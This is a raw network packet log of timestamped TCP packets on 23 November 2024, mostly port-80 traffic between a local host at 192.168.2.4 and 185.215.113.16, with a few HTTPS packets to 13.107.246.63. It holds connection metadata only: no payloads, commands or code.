Nov 23, 2024 18:22:37.411598921 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.411617994 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.411628962 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.411633968 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.411652088 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.411674976 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.412322044 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.412374020 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.412381887 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.412396908 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.412439108 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.412468910 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.413129091 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.413153887 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.413168907 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.413172960 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.413192987 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.413216114 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.413239956 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.413280010 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.413929939 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.413975000 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.413975000 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.413992882 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.414009094 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.414024115 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.414033890 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.414060116 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.414757967 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.414773941 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.414789915 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.414804935 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.414817095 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.414832115 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.414865971 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.415581942 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.415625095 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.415625095 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.415643930 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.415687084 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.415714979 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.415755987 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.416471958 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.416498899 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.416515112 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.416542053 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.416568041 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.416568995 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.417232037 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.417273045 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.417277098 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.417294025 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.417336941 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.417368889 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.417913914 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.418149948 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.418194056 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.418210030 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.418242931 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.418242931 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.418276072 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.418322086 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.418875933 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.418943882 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.418958902 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.418972015 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.418973923 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.418987036 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.419018984 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.419728041 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.419770002 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.419787884 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.419804096 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.419850111 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.419852018 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.420614004 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.420643091 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.420658112 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.420666933 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.420685053 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.420706034 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.420710087 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.421395063 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.421422958 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.421489954 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.421506882 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.421535015 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.421574116 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.421588898 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.421633005 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.422350883 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.422395945 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.422395945 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.422414064 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.422436953 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.422449112 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.422470093 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.422512054 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.423156023 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.423197031 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.423208952 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.423226118 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.423242092 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.423249960 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.423268080 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.423280001 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.423890114 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.423908949 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.423924923 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.423950911 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.423985958 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.424055099 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.424686909 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.424732924 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.424736977 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.424750090 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.424793005 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.424823999 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.424863100 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.425540924 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.425566912 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.425584078 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.425612926 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.425631046 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.425667048 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.426318884 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.426346064 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.426361084 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.426362991 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.426388025 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.426414967 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.426436901 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.426505089 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.450807095 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.450820923 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.450838089 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.450870037 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.450934887 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.450944901 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.450962067 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.450978994 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.451001883 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.451025009 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.451555014 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.451595068 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.451611042 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.451626062 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.451652050 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.451663971 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.451719999 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.452375889 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.452419043 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.452421904 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.452440023 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.452480078 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.452569008 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.452609062 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.453212023 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.453252077 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.453263044 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.453279972 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.453308105 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.453330994 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.496543884 CET	443	49826	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:37.496587038 CET	443	49826	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:37.496640921 CET	49826	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:37.500370026 CET	49826	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:37.500375986 CET	443	49826	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:37.500402927 CET	49826	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:37.500406027 CET	443	49826	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:37.505669117 CET	49838	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:37.505711079 CET	443	49838	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:37.505783081 CET	49838	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:37.505922079 CET	49838	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:37.505940914 CET	443	49838	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:37.516072989 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.516100883 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.516115904 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.516136885 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.516151905 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.516158104 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.516247988 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.516263962 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.516282082 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.516307116 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.516319990 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.516649008 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.516696930 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.516701937 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.516712904 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.516756058 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.516786098 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.516961098 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.517546892 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.517594099 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.517596960 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.517611027 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.517632008 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.517635107 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.517654896 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.517663956 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.518332005 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.518379927 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.518384933 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.518397093 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.518419027 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.518448114 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.518477917 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.518522024 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.519150019 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.519197941 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.519206047 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.519227028 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.519253969 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.519263029 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.519309998 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.519428015 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.519982100 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.520029068 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.520030975 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.520046949 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.520070076 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.520081043 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.520104885 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.520143986 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.520832062 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.520857096 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.520873070 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.520874977 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.520910025 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.520977974 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.521023035 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.521620035 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.521665096 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.521667004 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.521684885 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.521722078 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.521828890 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.521895885 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.522443056 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.522500992 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.522531033 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.522547007 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.522576094 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.522578955 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.522594929 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.522618055 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.532824993 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.532849073 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.532900095 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.532913923 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.532929897 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.532938004 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.532947063 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.532989025 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.533025980 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.533410072 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.533468962 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.533476114 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.533488035 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.533533096 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.533534050 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.533548117 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.533587933 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.534275055 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.534326077 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.534348965 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.534365892 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.534382105 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.534408092 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.534424067 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.535162926 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.535213947 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.535222054 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.535264015 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.535518885 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.535554886 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.535578966 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.535598040 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.535629034 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.535684109 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.536202908 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.536310911 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.536353111 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.536366940 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.536384106 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.536417007 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.536444902 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.536456108 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.536510944 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.537089109 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.537141085 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.537159920 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.537194967 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.595350027 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.595367908 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.595382929 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.595412970 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.595433950 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.595525980 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.595566034 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.595567942 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.595586061 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.595616102 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.595628977 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.595671892 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.595740080 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.596369028 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.596417904 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.596422911 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.596440077 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.596458912 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.596463919 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.596494913 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.596508026 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.597222090 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.597280025 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.597312927 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.597331047 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.597357035 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.597369909 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.597784996 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.597830057 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.597839117 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.597856998 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.597891092 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.597906113 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.597918987 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.597959995 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.598685980 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.598701954 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.598717928 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.598747969 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.598777056 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.598808050 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.598819017 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.599510908 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.599526882 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.599543095 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.599570036 CET	49822	80	192.168.2.4	185.215.113.16
